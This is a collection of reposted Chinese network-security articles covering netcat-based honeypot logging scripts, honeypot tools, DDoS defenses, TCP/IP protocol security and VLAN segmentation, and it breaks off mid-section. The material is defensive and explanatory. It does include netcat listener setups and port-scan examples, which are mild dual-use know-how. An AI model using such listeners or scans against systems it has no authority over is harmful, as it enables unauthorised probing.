一部分，但是我们希望这些信息能给你很多提示，他们有很多并不是象我们想象那样具有很高的技术实力，甚至又很多
并不明白他们正在使用的工具，但是一旦他们对一些系统很在意的话，他们能取得我们所想象不到的结果。这并不是危
言耸听，他们并不关心他们所造成的危害，他们只关心他们攻击的目标。
这篇文章是Honeypot项目的研究结果，Honeypot项目是一个由一些安全专家想要了解黑客社团使用的工具和策略的而发
起的项目。
3. 一个简单"honeypot"的实现
看过了以上的案例介绍，你是否已经迫不及待想建立一个"honeypot"来监视你的网络或者系统呢？那么我们如何来
实现一个"honeypot"呢？NetCat这个万能的瑞士军刀，黑客工具的鼻祖很容易就能帮你做到。God bless me! 感谢
Weld和L0pht的成员们编写出如此出色便宜的"honeypot"：），而且可以在多个平台上使用，下载：
http://www.l0pht.com/~weld/netcat。
一般情况下，很多黑客都喜欢尝试针对对方系统服务进行慢速扫描以确认下一步可能的攻击方向。NetCat的功能之一就
是可以帮助我们在一些端口上帮定服务，这样就允许我们在我们的Linxu、NT、FreeBSD上建立一些如下的虚假服务：
Sendmail、DNS、Telnet、FTP甚至是Web Server等等，这样就可以审计一些端口扫描以及连接信息，当然这样配置存
在一些问题，比如说半开连接如"nmap -sS victim"就不会被记录，但是实际上很多黑客在确信端口开启的情况下为了
确定服务的信息如版本，他们会选择完成三次握手，这样，他们的IP………。
下面所列出的代码是在Solaris工作站上的一个"honeypot"，首先需要为每一个监听的端口简历如下的内容，NetCat选项：
-l 一般监听模式
-p 你选择的端口
-vv 双冗长模式
xxx.xxx.xxx.xxx 系统使用的IP
在这里的脚本中，使用一般监听模式而不是递归模式(-L)是因为想在每次对方尝试连接后在审计信息里添加注释。这里通过
重定向审计信息，通过循环添加注释以便于审计。需要强调的一点是需要指定本机IP，这样端口只允许本机连接，否则任何
别的系统都可以通过该端口存取系统。同时为了方便审计，加了一些行拷贝记录到另一个文件中并清理原始记录文件。
Below is the contents of my "port25" script file.
这里列出的是"port25"脚本
while true; do
/usr/bin/nc -l -p 25 -vv xxx.xxx.xxx.xxx 2>> /var/audit/nc-port25
date >> /var/audit/nc-port25
echo "******************** FAILED SENDMAIL ATTEMPT - PORT 25
********************\n" >> /var/audit/nc-port25
cat /var/audit/nc-port25 >> /var/audit/nc-log
cp /dev/null /var/audit/nc-port25
done
在每一个命令行末尾添加"2"是重定向出错信息道审计信息里。
类似，我们可以产生其他脚本，然后运行。
/var/audit/nc-wrappers/port25 &
/var/audit/nc-wrappers/port79 &
/var/audit/nc-wrappers/port512 &
/var/audit/nc-wrappers/port513 &
/var/audit/nc-wrappers/port514 &
....
....
....
最后，我们可以作一个脚本放在"/etc/rc2.d"目录下，这样系统重起会自动运行我们的"honeypot"。
Nmap扫描结果：
FTP--------------21
Telnet------------23
Sendmail--------25
TFTP-------------69
Finger------------79
Web--------------80, 443, 8080
NetBIOS---------139
Rexec-------------512
Rlogin-------------513
Rsh-----------------514
NetBus-------------12345
BO------------------31337
4. 已有工具介绍
4.1 winetd
winetd是一个非常简单的Windows上的"honeypot"实现，安装非常简单，界面也很友好，只是伪装过于简单，并不
能真正诱骗黑客进入，如果按功能来说，不算一个严格意义上的"honeypot"。
我们看到缺省启动的时候，我们的系统开启的服务很少，下面使用Nmap对没有使用Winetd的结果：
Port State Service
135/tcp open loc-srv
445/tcp open microsoft-ds
3389/tcp open msrdp
我们可以看到系统仅开启三个端口。
启动Winetd之后它会在我们的系统上开启如下服务，如echo、Telnet、smtp等服务，Nmap的扫描结果：
Port State Service
3/tcp open compressnet
7/tcp open echo
13/tcp open daytime
23/tcp open telnet
25/tcp open smtp
34/tcp open unknown
135/tcp open loc-srv
137/tcp open netbios-ns
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open msrdp

我们Telnet 到23端口，弹出如下信息：
Red Hat Linux realease 7.0 (Guinness)
Kernel 2.2.16-22 on an i686
login:
其实我们的系统是一台W2k，当然Winetd的灵活之初还在于它可以自己定义要打开的服务，使用什么样的程序进行模拟。
而且它还具有日志和反击功能
当我们在对运行Winetd的系统进行扫描或别的探测活动时，它都会发现到探测信息，如下图我们用Nmap使用偷偷扫描后
所留下的日志信息。

我们或许也注意到如果一个经验丰富的黑客，这样的"honeypot"还不至于能诱骗他，首先使用fingerprint技术就可以探测
系统是Linux还是W2k，如果发现是W2k，而Telnet又显示上面的信息，那么黑客很快就会离我们而去，甚至恼怒会攻击我们
的系统。
Winetd是一个自由软件，它的思路非常好，要成为真正的"honeypot"，还有待于继续深入开发。
4.2 dtk
DTK（Deception Tool Kit），可在多种Unix系统上运行，它是有Fred Cohen开发的。
DTK目前可以真正模拟的系统有十种左右，而且它可模拟很多服务，更确切的说，我们可以称它为一个状态机，功能非
常强大，需要C和Perl编译器去编译运行，缺点就是在构建时非常麻烦，比如说在编译时会让你选择自己的操作系统，
选择你所要模仿的操作系统。下载http://all.net/dtk/

--------------------------------------------------------------------------------
:em46:


防范分布式攻击的策略和措施

作者：宁愿冷酷到底 发表时间：2002/09/07 02:40pm

分布式攻击的危害很大，因此,研究阻止和击败此类攻击的解决方法是目前信息安全领域面临的一个重要课题。本文着眼于一般性的分布式攻击。目的在于提供一种简单易行、费用较低的解决方案。
容易实现而又适当的防护措施有很多。首先要做的是尽可能去掉不必要地通过防火墙的传输，所有的公开方式，比如Web、FTP和邮件服务器应该放置在分离的网络中，所有因特网联接方式都不应该有编译器。
要确定管理通道和端口都被关闭，或是安全的。为保证计算机的安全，可以按这样的顺序保护它们：防火墙、DMZ中的公开部位、内部服务、工作站。
也可以通过新补丁和调整来减少攻击的潜在目标和发起点。
1．ICMP防护措施
ICMP最初开发出来是为了“帮助”网络，经常被广域网管理员用作诊断工具。但今天各种各样的不充分的ICMP被滥用，没有遵守RFC 792原先制订的标准，要执行一定的策略可以让它变得安全一些。
入站的ICMP时间标记（Timestamp）和信息请求(Information Request)数据包会得到响应，带有非法或坏参数的伪造数据包也能产生ICMP参数问题数据包，从而允许另外一种形式的主机搜寻。这仍使得站点没有得到适当保护。
以秘密形式从主方到客户方发布命令的一种通用方法，就是使用ICMP Echo应答数据包作为载波。 回声应答本身不能回答，一般不会被防火墙阻塞。
首先，我们必须根据出站和入站处理整个的“ICMP限制”问题。ICMP回声很容易验证远程机器，但出站的ICMP回声应该被限制只支持个人或单个服务器/ICMP代理（首选）。
如果我们限制ICMP回声到一个外部IP地址（通过代理），则我们的ICMP回声应答只能进入我们网络中预先定义的主机。
重定向通常可以在路由器之间找到，而不是在主机之间。防火墙规则应该加以调整，使得这些类型的ICMP只被允许在需要信息的网际连接所涉及的路由器之间进行。
建议所有对外的传输都经过代理，对内的ICMP传输回到代理地址的时候要经过防火墙。这至少限制了ICMP超时数据包进入一个内部地址，但它可能阻塞超时数据包。
当ICMP数据包以不正确的参数发送时，会导致数据包被丢弃，这时就会发出ICMP参数出错数据包。主机或路由器丢弃发送的数据包，并向发送者回送参数ICMP出错数据包，指出坏的参数。
总的来说，只有公开地址的服务器（比如Web、电子邮件和FTP服务器）、防火墙、联入因特网的路由器有真正的理由使用ICMP与外面的世界对话。如果调整适当，实际上所有使用进站和出站ICMP的隐密通讯通道都会被中止。
2． 关于主机的建议
所有对因特网提供公开服务的主机都应该加以限制。下面建议的策略可以保护暴露在因特网上的主机。
将所有公开服务器与DMZ隔离
提供的每种服务都应该有自己的服务器。
如果使用Linux（建议这样做），你就可以使用一个或几个“缓冲溢出/堆栈执行”补丁或增强来防止绝大多数（如果不能全部）本地或远程缓冲溢出，以避免这些溢出危及根的安全。强烈建议将Solar Designer的补丁包括在附加的安全特征中。
使用SRP（Secure Remote Password 安全远程口令）代替SSH。
限制只有内部地址才能访问支持SRP的telnet和FTP守护程序，强调只有支持SRP的客户端才可以与这些程序对话。如果你必须为公开访问运行常规的FTP（比如匿名FTP），可以在另一个端口运行SRP FTP。
使用可信任的路径。根用户拥有的二进制执行程序应该放置的目录的所有权应该是根，不能让全部用户或组都有写权限。如果有必要的话，为了强制这样做，你可以改变内核。
使用内置防火墙功能。通过打开防火墙规则，可以经常利用内核状态表。
使用一些防端口扫描措施。这可以使用Linux的后台程序功能或通过修改内核实现。
使用Tripwire 和相同作用的软件来帮助发觉对重要文件的修改。
3．有关入侵检测系统的建议
由于许多用来击败基于网络的入侵检测系统的方法对绝大多数商业入侵检测系统产品仍然是有效的，因此建议入侵检测系统应该至少有能重组或发觉碎片的自寻址数据包。
下面是部分要注意的事项：
确信包括了现有的所有规则，包括一些针对分布式拒绝服务攻击的新规则。
如果遵循了ICMP建议项，许多ICMP会被阻塞，入侵检测系统触发器存在许多机会。任何通常情况下要被阻塞的入站或出站的ICMP数据包可以被触发。
“任何”被你用防火墙分离的网络传输都可能是一个潜在的IDS触发器。
如果你的入侵检测系统支持探测长时间周期的攻击，确信没有把允许通过防火墙的被信任主机排除在外。这也包括虚拟专用网。
如果你能训练每个使用ping的用户在ping主机时使用小数据包，就可能设置入侵检测系统寻找超29字节的Echo和Echo应答数据包。
总结
本文通过加强主机安全、限制不良基础的通讯通道、调整防火墙和入侵检测系统的规则等防护措施，将可以有效地对付分布式攻击，这里描述的绝大多数网络攻击（不论是实际上还是理论上的）都能够被抑制。执行以上所述的这些防护建议，不仅可以防止多种分布式攻击，而且可以大大增强多方面的安全。


TCP/IP的安全性

转自：nsfocus
TCP/IP的层次不同提供的安全性也不同，例如，在网络层提供虚拟私用网络，在传输层提供安全套接服务。下面将分别介绍TCP/IP不同层次的安全性和提高各层安全性的方法。
一、Internet层的安全性
对Internet层的安全协议进行标准化的想法早就有了。在过去十年里，已经提出了一些方案。例如，"安全协议3号(SP3)"就是美国国家安全局以及标准技术协会作为"安全数据网络系统(SDNS)"的一部分而制定的。"网络层安全协议(NLSP)"是由国际标准化组织为"无连接网络协议(CLNP)"制定的安全协议标准。"集成化NLSP(I-NLSP)"是美国国家科技研究所提出的包括IP和CLNP在内的统一安全机制。SwIPe是另一个Intenet层的安全协议，由Ioannidis和Blaze提出并实现原型。所有这些提案的共同点多于不同点。事实上，他们用的都是IP封装技术。其本质是，纯文本的包被加密，封装在外层的IP报头里，用来对加密的包进行Internet上的路由选择。到达另一端时，外层的IP报头被拆开，报文被解密，然后送到收报地点。
Internet工程特遣组(IETF)已经特许Internet协议安全协议(IPSEC)工作组对IP安全协议(IPSP)和对应的Internet密钥管理协议(IKMP)进行标准化工作。IPSP的主要目的是使需要安全措施的用户能够使用相应的加密安全体制。该体制不仅能在目前通行的IP(IPv4)下工作，也能在IP的新版本(IPng或IPv6)下工作。该体制应该是与算法无关的，即使加密算法替换了，也不对其他部分的实现产生影响。此外，该体制必须能实行多种安全政策，但要避免给不使用该体制的人造成不利影响。按照这些要求，IPSEC工作组制订了一个规范：认证头(Authentication Header，AH)和封装安全有效负荷(Encapsulating Security Payload，ESP)。简言之，AH提供IP包的真实性和完整性，ESP提供机要内容。
IP AH指一段消息认证代码(Message Authentication Code，MAC)，在发送IP包之前，它已经被事先计算好。发送方用一个加密密钥算出AH，接收方用同一或另一密钥对之进行验证。如果收发双方使用的是单钥体制，那它们就使用同一密钥；如果收发双方使用的是公钥体制，那它们就使用不同的密钥。在后一种情形，AH体制能额外地提供不可否认的服务。事实上，有些在传输中可变的域，如IPv4中的time-to-live域或IPv6中的hop limit域，都是在AH的计算中必须忽略不计的。RFC 1828首次规定了加封状态下AH的计算和验证中要采用带密钥的MD5算法。而与此同时，MD5和加封状态都被批评为加密强度太弱，并有替换的方案提出。
IP ESP的基本想法是整个IP包进行封装，或者只对ESP内上层协议的数据(运输状态)进行封装，并对ESP的绝大部分数据进行加密。在管道状态下，为当前已加密的ESP附加了一个新的IP头(纯文本)，它可以用来对IP包在Internet上作路由选择。接收方把这个IP头取掉，再对ESP进行解密，处理并取掉ESP头，再对原来的IP包或更高层协议的数据就象普通的IP包那样进行处理。RFC 1827中对ESP的格式作了规定，RFC 1829中规定了在密码块链接(CBC)状态下ESP加密和解密要使用数据加密标准(DES)。虽然其他算法和状态也是可以使用的，但一些国家对此类产品的进出口控制也是不能不考虑的因素。有些国家甚至连私用加密都要限制。
AH与ESP体制可以合用，也可以分用。不管怎么用，都逃不脱传输分析的攻击。人们不太清楚在Internet层上，是否真有经济有效的对抗传输分析的手段，但是在Internet用户里，真正把传输分析当回事儿的也是寥寥无几。
1995年8月，Internet工程领导小组(IESG)批准了有关IPSP的RFC作为Internet标准系列的推荐标准。除RFC 1828和RFC 1829外，还有两个实验性的RFC文件，规定了在AH和ESP体制中，用安全散列算法(SHA)来代替MD5(RFC 1852)和用三元DES代替DES(RFC 1851)。
在最简单的情况下，IPSP用手工来配置密钥。然而，当IPSP大规模发展的时候，就需要在Internet上建立标准化的密钥管理协议。这个密钥管理协议按照IPSP安全条例的要求，指定管理密钥的方法。
因此，IPSEC工作组也负责进行Internet密钥管理协议(IKMP)，其他若干协议的标准化工作也已经提上日程。其中最重要的有：
IBM 提出的"标准密钥管理协议(MKMP)"
SUN 提出的"Internet协议的简单密钥管理(SKIP)"
Phil Karn 提出的"Photuris密钥管理协议"
Hugo Krawczik 提出的"安全密钥交换机制(SKEME)"
NSA 提出的"Internet安全条例及密钥管理协议"
Hilarie Orman 提出的"OAKLEY密钥决定协议"
在这里需要再次强调指出，这些协议草案的相似点多于不同点。除MKMP外，它们都要求一个既存的、完全可操作的公钥基础设施(PKI)。MKMP没有这个要求，因为它假定双方已经共同知道一个主密钥(Master Key)，可能是事先手工发布的。SKIP要求Diffie-Hellman证书，其他协议则要求RSA证书。
1996年9月，IPSEC决定采用OAKLEY作为ISAKMP框架下强制推行的密钥管理手段，采用SKIP作为IPv4和IPv6实现时的优先选择。目前已经有一些厂商实现了合成的 ISAKMP/OAKLEY方案。Photuris以及类Photuris的协议的基本想法是对每一个会话密钥都采用Diffie-Hellman密钥交换机制，并随后采用签名交换来确认Diffie--Hellman参数，确保没有"中间人"进行攻击。这种组合最初是由Diffie、Ooschot和Wiener在一个"站对站(STS)"的协议中提出的。Photuris里面又添加了一种所谓的"cookie"交换，它可以提供"清障(anti-logging)"功能，即防范对服务攻击的否认。
Photuris以及类Photuris的协议由于对每一个会话密钥都采用Diffie-Hellman密钥交换机制，故可提供回传保护(back-traffic protection，BTP)和完整转发安全性(perfect-forward secrecy，PFS)。实质上，这意味着一旦某个攻击者破解了长效私钥，比如Photuris中的RSA密钥或SKIP中的Diffie-Hellman密钥，所有其他攻击者就可以冒充被破解的密码的拥有者。但是，攻击者却不一定有本事破解该拥有者过去或未来收发的信息。
值得注意的是，SKIP并不提供BTP和PFS。尽管它采用Diffie-Hellman密钥交换机制，但交换的进行是隐含的，也就是说，两个实体以证书形式彼此知道对方长效Diffie--Hellman 公钥，从而隐含地共享一个主密钥。该主密钥可以导出对分组密钥进行加密的密钥，而分组密钥才真正用来对IP包加密。一旦长效Diffie-Hellman密钥泄露，，则任何在该密钥保护下的密钥所保护的相应通信都将被破解。而且SKIP是无状态的，它不以安全条例为基础。每个IP包可能是个别地进行加密和解密的，归根到底用的是不同的密钥。
SKIP不提供BTP和PFS这件事曾经引起IPSEC工作组内部的批评，该协议也曾进行过扩充，试图提供BTP和PFS。但是，扩充后的SKIP协议版本其实是在BTP和PFS功能的提供该协议的无状态性之间的某种折衷。实际上，增加了BTP和PFS功能的SKIP非常类似于Photuris以及类Photuris的协议，唯一的主要区别是SKIP(仍然)需要原来的Diffie-Hellman证书。这一点必须注意:目前在Internet上，RSA证书比其他证书更容易实现和开展业务。
大多数IPSP及其相应的密钥管理协议的实现均基于Unix系统。任何IPSP的实现都必须跟对应协议栈的源码纠缠在一起，而这源码又能在Unix系统上使用，其原因大概就在于此。但是，如果要想在Internet上更广泛地使用和采纳安全协议，就必须有相应的DOS或Windows版本。而在这些系统上实现Internet层安全协议所直接面临的一个问题就是，PC上相应的实现TCP/IP的公共源码资源什么也没有。为克服这一困难，Wagner和Bellovin实现了一个IPSEC模块，它象一个设备驱动程序一样工作，完全处于IP层以下。
Internet层安全性的主要优点是它的透明性，也就是说，安全服务的提供不需要应用程序、其他通信层次和网络部件做任何改动。它的最主要的缺点是: Internet层一般对属于不同进程和相应条例的包不作区别。对所有去往同一地址的包，它将按照同样的加密密钥和访问控制策略来处理。这可能导致提供不了所需的功能，也会导致性能下降。针对面向主机的密钥分配的这些问题，RFC 1825允许(甚至可以说是推荐) 使用面向用户的密钥分配，其中，不同的连接会得到不同的加密密钥。但是，面向用户的密钥分配需要对相应的操作系统内核作比较大的改动。
虽然IPSP的规范已经基本制订完毕，但密钥管理的情况千变万化，要做的工作还很多。尚未引起足够重视的一个重要的问题是在多播 (multicast)环境下的密钥分配问题，例如，在Internet多播骨干网(MBone)或IPv6网中的密钥分配问题。
简而言之，Internet层是非常适合提供基于主机对主机的安全服务的。相应的安全协议可以用来在Internet上建立安全的IP通道和虚拟私有网。例如，利用它对IP包的加密和解密功能，可以简捷地强化防火墙系统的防卫能力。事实上，许多厂商已经这样做了。RSA数据安全公司已经发起了一个倡议，来推进多家防火墙和TCP/IP软件厂商联合开发虚拟私有网。该倡议被称为S-WAN(安全广域网)倡议。其目标是制订和推荐Internet层的安全协议标准。

二、传输层的安全性
在Internet应用编程序中，通常使用广义的进程间通信(IPC)机制来与不同层次的安全协议打交道。比较流行的两个IPC编程界面是BSD Sockets和传输层界面(TLI)，在Unix系统V命令里可以找到。
在Internet中提供安全服务的首先一个想法便是强化它的IPC界面，如BSD Sockets等，具体做法包括双端实体的认证，数据加密密钥的交换等。Netscape通信公司遵循了这个思路，制定了建立在可靠的传输服务(如TCP/IP所提供)基础上的安全套接层协议(SSL)。SSL版本3(SSL v3)于1995年12月制定。它主要包含以下两个协议：
SSL记录协议 它涉及应用程序提供的信息的分段、压缩、数据认证和加密。SSL v3提供对数据认证用的MD5和SHA以及数据加密用的R4和DES等的支持，用来对数据进行认证和加密的密钥可以通过SSL的握手协议来协商。
SSL握手协议 用来交换版本号、加密算法、(相互)身份认证并交换密钥。SSL v3 提供对Deffie-Hellman密钥交换算法、基于RSA的密钥交换机制和另一种实现在 Fortezza chip上的密钥交换机制的支持。
Netscape通信公司已经向公众推出了SSL的参考实现(称为SSLref)。另一免费的SSL实现叫做SSLeay。SSLref和SSLeay均可给任何TCP/IP应用提供SSL功能。Internet号码分配当局(IANA)已经为具备SSL功能的应用分配了固定端口号，例如，带SSL的 HTTP(https)被分配的端口号为443，带SSL的SMTP(ssmtp)被分配的端口号为465，带SSL的NNTP(snntp)被分配的端口号为563。
微软推出了SSL2的改进版本称为PCT(私人通信技术)。至少从它使用的记录格式来看，SSL和PCT是十分相似的。它们的主要差别是它们在版本号字段的最显著位(The Most Significant Bit)上的取值有所不同: SSL该位取0，PCT该位取1。这样区分之后，就可以对这两个协议都给以支持。
1996年4月，IETF授权一个传输层安全(TLS)工作组着手制定一个传输层安全协议(TLSP)，以便作为标准提案向IESG正式提交。TLSP将会在许多地方酷似SSL。
前面已介绍Internet层安全机制的主要优点是它的透明性，即安全服务的提供不要求应用层做任何改变。这对传输层来说是做不到的。原则上，任何TCP/IP应用，只要应用传输层安全协议，比如说SSL或PCT，就必定要进行若干修改以增加相应的功能，并使用(稍微)不同的IPC界面。于是，传输层安全机制的主要缺点就是要对传输层IPC界面和应用程序两端都进行修改。可是，比起Internet层和应用层的安全机制来，这里的修改还是相当小的。另一个缺点是，基于UDP的通信很难在传输层建立起安全机制来。同网络层安全机制相比，传输层安全机制的主要优点是它提供基于进程对进程的(而不是主机对主机的)安全服务。这一成就如果再加上应用级的安全服务，就可以再向前跨越一大步了。
三、应用层的安全性
必须牢记(且须仔细品味): 网络层(传输层)的安全协议允许为主机(进程)之间的数据通道增加安全属性。本质上，这意味着真正的(或许再加上机密的)数据通道还是建立在主机(或进程)之间，但却不可能区分在同一通道上传输的一个具体文件的安全性要求。比如说，如果一个主机与另一个主机之间建立起一条安全的IP通道，那么所有在这条通道上传输的IP包就都要自动地被加密。同样，如果一个进程和另一个进程之间通过传输层安全协议建立起了一条安全的数据通道，那么两个进程间传输的所有消息就都要自动地被加密。
如果确实想要区分一个具体文件的不同的安全性要求，那就必须借助于应用层的安全性。提供应用层的安全服务实际上是最灵活的处理单个文件安全性的手段。例如一个电子邮件系统可能需要对要发出的信件的个别段落实施数据签名。较低层的协议提供的安全功能一般不会知道任何要发出的信件的段落结构，从而不可能知道该对哪一部分进行签名。只有应用层是唯一能够提供这种安全服务的层次。

一般来说，在应用层提供安全服务有几种可能的做法，第一个想到的做法大概就是对每个应用(及应用协议)分别进行修改。一些重要的TCP/IP应用已经这样做了。在RFC 1421至1424中，IETF规定了私用强化邮件(PEM)来为基于SMTP的电子邮件系统提供安全服务。由于种种理由，Internet业界采纳PEM的步子还是太慢，一个主要的原因是PEM依赖于一个既存的、完全可操作的PKI(公钥基础结构)。PEM PKI是按层次组织的，由下述三个层次构成:
顶层为Internet安全政策登记机构(IPRA)
次层为安全政策证书颁发机构(PCA)
底层为证书颁发机构(CA)
建立一个符合PEM规范的PKI也是一个政治性的过程，因为它需要多方在一个共同点上达成信任。不幸的是，历史表明，政治性的过程总是需要时间的，作为一个中间步骤，Phil Zimmermann开发了一个软件包，叫做PGP(pretty Good Privacy)。PGP符合PEM的绝大多数规范，但不必要求PKI的存在。相反，它采用了分布式的信任模型，即由每个用户自己决定该信任哪些其他用户。因此，PGP不是去推广一个全局的PKI，而是让用户自己建立自己的信任之网。这就立刻产生一个问题，就是分布式的信任模型下，密钥废除了怎么办。
S-HTTP是Web上使用的超文本传输协议(HTTP)的安全增强版本，由企业集成技术公司设计。S-HTTP提供了文件级的安全机制，因此每个文件都可以被设成私人/签字状态。用作加密及签名的算法可以由参与通信的收发双方协商。S-HTTP提供了对多种单向散列(Hash)函数的支持，如: MD2，MD5及SHA; 对多种单钥体制的支持，如：DES，三元DES，RC2，RC4，以及CDMF; 对数字签名体制的支持，如: RSA和DSS。
目前还没有Web安全性的公认标准。这样的标准只能由WWW Consortium，IETF或其他有关的标准化组织来制定。而正式的标准化过程是漫长的，可能要拖上好几年，直到所有的标准化组织都充分认识到Web安全的重要性。S-HTTP和SSL是从不同角度提供Web的安全性的。S-HTTP对单个文件作"私人/签字"之区分，而SSL则把参与通信的相应进程之间的数据通道按"私用"和"已认证"进行监管。Terisa公司的SecureWeb工具软件包可以用来为任何Web应用提供安全功能。该工具软件包提供有 RSA数据安全公司的加密算法库，并提供对SSL和S-HTTP的全面支持。
另一个重要的应用是电子商务，尤其是信用卡交易。为使Internet上的信用卡交易安全起见，MasterCard公司(同IBM，Netscape，GTE和Cybercash一道) 制定了安全电子付费协议(SEPP)，Visa国际公司和微软(和其他一些公司一道)制定了安全交易技术(STT)协议。同时，MasterCard，Visa国际和微软已经同意联手推出Internet上的安全信用卡交易服务。他们发布了相应的安全电子交易(SET)协议，其中规定了信用卡持卡人用其信用卡通过Internet进行付费的方法。这套机制的后台有一个证书颁发的基础结构，提供对X.509证书的支持。
上面提到的所有这些加安全功能的应用都会面临一个主要的问题，就是每个这样的应用都要单独进行相应的修改。因此，如果能有一个统一的修改手段，那就好多了。通往这个方向的一个步骤就是赫尔辛基大学的Tatu Yloenen开发的安全shell(SSH)。SSH允许其用户安全地登录到远程主机上，执行命令，传输文件。它实现了一个密钥交换协议，以及主机及客户端认证协议。SSH有当今流行的多种Unix系统平台上的免费版本，也有由Data Fellows公司包装上市的商品化版本。
把SSH的思路再往前推进一步，就到了认证和密钥分配系统。本质上，认证和密钥分配系统提供的是一个应用编程界面(API)，它可以用来为任何网络应用程序提供安全服务，例如: 认证、数据机密性和完整性、访问控制以及非否认服务。目前已经有一些实用的认证和密钥分配系统，如: MIT的Kerberos(V4与V5)，IBM的CryptoKnight和Netwrok Security Program，DEC的SPX，Karlsruhe大学的指数安全系统(TESS)等，都是得到广泛采用的实例。甚至可以见到对有些认证和密钥分配系统的修改和扩充。例如，SESAME和OSF DCE对Kerberos V5作了增加访问控制服务的扩充，Yaksha对Kerberos V5作了增加非否认服务的扩充。
关于认证和密钥分配系统的一个经常遇到的问题是关于它们在Internet上所受到的冷遇。一个原因是它仍要求对应用本身做出改动。考虑到这一点，对一个认证和密钥分配系统来说，提供一个标准化的安全API就显得格外重要。能做到这一点，开发人员就不必再为增加很少的安全功能而对整个应用程序大动手术了。因此，认证系统设计领域内最主要的进展之一就是制定了标准化的安全API，即通用安全服务API(GSS-API)。GSS-API(v1及v2)对于一个非安全专家的编程人员来说可能仍显得过于技术化了些，但德州Austin大学的研究者们开发的安全网络编程(SNP)，把界面做到了比GSS-API更高的层次，使同网络安全性有关的编程更加方便了。

局域网在网络层有什么不安全的地方？
NAI公司 供稿
不安全的地方
由于局域网中采用广播方式，因此，若在某个广播域中可以侦听到所有的信息包，黑客就对可以对信息包进行分析，那么本广播域的信息传递都会暴露在黑客面前。
网络分段
网络分段是保证安全的一项重要措施，同时也是一项基本措施，其指导思想在于将非法用户与网络资源相互隔离，从而达到限制用户非法访问的目的。
网络分段可分为物理分段和逻辑分段两种方式：
物理分段通常是指将网络从物理层和数据链路层（ISO/OSI模型中的第一层和第二层）上分为若干网段，各网段相互之间无法进行直接通讯。目前，许多交换机都有一定的访问控制能力，可实现对网络的物理分段。逻辑分段则是指将整个系统在网络层（ISO/OSI模型中的第三层）上进行分段。例如，对于TCP/IP网络，可把网络分成若干IP子网，各子网间必须通过路由器、路由交换机、网关或防火墙等设备进行连接，利用这些中间设备（含软件、硬件）的安全机制来控制各子网间的访问。在实际应用过程中，通常采取物理分段与逻辑分段相结合的方法来实现对网络系统的安全性控制。

VLAN的实现

虚拟网技术主要基于近年发展的局域网交换技术(ATM和以太网交换)。交换技术将传统的基于广播的局域网技术发展为面向连接的技术。因此，网管系统有能力限制局域网通讯的范围而无需通过开销很大的路由器。
以太网从本质上基于广播机制，但应用了交换器和VLAN技术后，实际上转变为点到点通讯，除非设置了监听口，信息交换也不会存在监听和插入（改变）问题。
由以上运行机制带来的网络安全的好处是显而易见的：
信息只到达应该到达的地点。因此、防止了大部分基于网络监听的入侵手段。
通过虚拟网设置的访问控制，使在虚拟网外的网络节点不能直接访问虚拟网内节点。
但是，虚拟网技术也带来了新的安全问题：
执行虚拟网交换的设备越来越复杂，从而成为被攻击的对象。基于网络广播原理的入侵监控技术在高速交换网络内需要特殊的设置。基于MAC的VLAN不能防止MAC欺骗攻击。
采用基于MAC的VLAN划分将面临假冒MAC地址的攻击。因此，VLAN的划分最好基于交换机端口。但这要求整个网络桌面使用交换端口或每个交换端口所在的网段机器均属于相同的VLAN。

VLAN之间的划分原则
VLAN的划分方式的目的是保证系统的安全性。因此，可以按照系统的安全性来划分VLAN;可以将总部中的服务器系统单独划作一个VLAN,如数据库服务器、电子邮件服务器等。也可以按照机构的设置来划分VLAN，如将领导所在的网络单独作为一个Leader VLAN(LVLAN), 其他司局（或下级机构）分别作为一个VLAN,并且控制LVLAN与其他VLAN之间的单向信息流向，即允许LVLAN查看其他VLAN的相关信息，其他VLAN不能访问LVLAN的信息。VLAN之内的连接采用交换实现， VLAN与VLAN之间采用路由实现。由于路由控制的能力有限，不能实现LVLAN与其他VLAN之间的单向信息流动，需要在LVLAN与其他VLAN之间设置一个Gauntlet防火墙作为安全隔离设备，控制VLAN与VLAN之间的信息交流。


[转载]网络安全防范体系及设计原则

文章作者：武骏 程秀权 于晓芸 路博华 陈京京
信息来源：中国电信网
摘 要 本文分析了网络安全攻击、安全机制和安全服务之间的相互关系，从框架结构、体系层次、设计原则三个方面讨论了网络安全防范体系问题。
一、引 言
随着信息化进程的深入和互联网的快速发展，网络化已经成为企业信息化的发展大趋势，信息资源也得到最大程度的共享。但是，紧随信息化发展而来的网络安全问题日渐凸出，网络安全问题已成为信息时代人类共同面临的挑战，网络信息安全问题成为当务之急，如果不很好地解决这个问题，必将阻碍信息化发展的进程。
二、安全攻击、安全机制和安全服务
ITU-T X.800标准将我们常说的“网络安全（networksecurity）”进行逻辑上的分别定义，即安全攻击
(security attack)是指损害机构所拥有信息的安全的任何行为；安全机制（security mechanism）是指设计用于检测、预防安全攻击或者恢复系统的机制；安全服务（security service）是指采用一种或多种安全机制以抵御安全攻击、提高机构的数据处理系统安全和信息传输安全的服务。三者之间的关系如表1所示。
三、网络安全防范体系框架结构
为了能够有效了解用户的安全需求，选择各种安全产品和策略，有必要建立一些系统的方法来进行网络安全防范。网络安全防范体系的科学性、可行性是其可顺利实施的保障。图1给出了基于DISSP扩展的一个三维安全防范技术体系框架结构。第一维是安全服务，给出了八种安全属性（ITU-T REC-X.800-199103-I）。第二维是系统单元，给出了信息网络系统的组成。第三维是结构层次，给出并扩展了国际标准化组织ISO的开放系统互联（OSI）模型。

框架结构中的每一个系统单元都对应于某一个协议层次，需要采取若干种安全服务才能保证该系统单元的安全。网络平台需要有网络节点之间的认证、访问控制，应用平台需要有针对用户的认证、访问控制，需要保证数据传输的完整性、保密性，需要有抗抵赖和审计的功能，需要保证应用系统的可用性和可靠性。针对一个信息网络系统，如果在各个系统单元都有相应的安全措施来满足其安全需求，则我们认为该信息网络是安全的。
四、网络安全防范体系层次
作为全方位的、整体的网络安全防范体系也是分层次的，不同层次反映了不同的安全问题，根据网络的应用现状情况和网络的结构，我们将安全防范体系的层次（见图2）划分为物理层安全、系统层安全、网络层安全、应用层安全和安全管理。
1．物理环境的安全性（物理层安全）
该层次的安全包括通信线路的安全，物理设备的安全，机房的安全等。物理层的安全主要体现在通信线路的可靠性（线路备份、网管软件、传输介质），软硬件设备安全性（替换设备、拆卸设备、增加设备），设备的备份，防灾害能力、防干扰能力，设备的运行环境（温度、湿度、烟尘），不间断电源保障，等等。
2．操作系统的安全性（系统层安全）
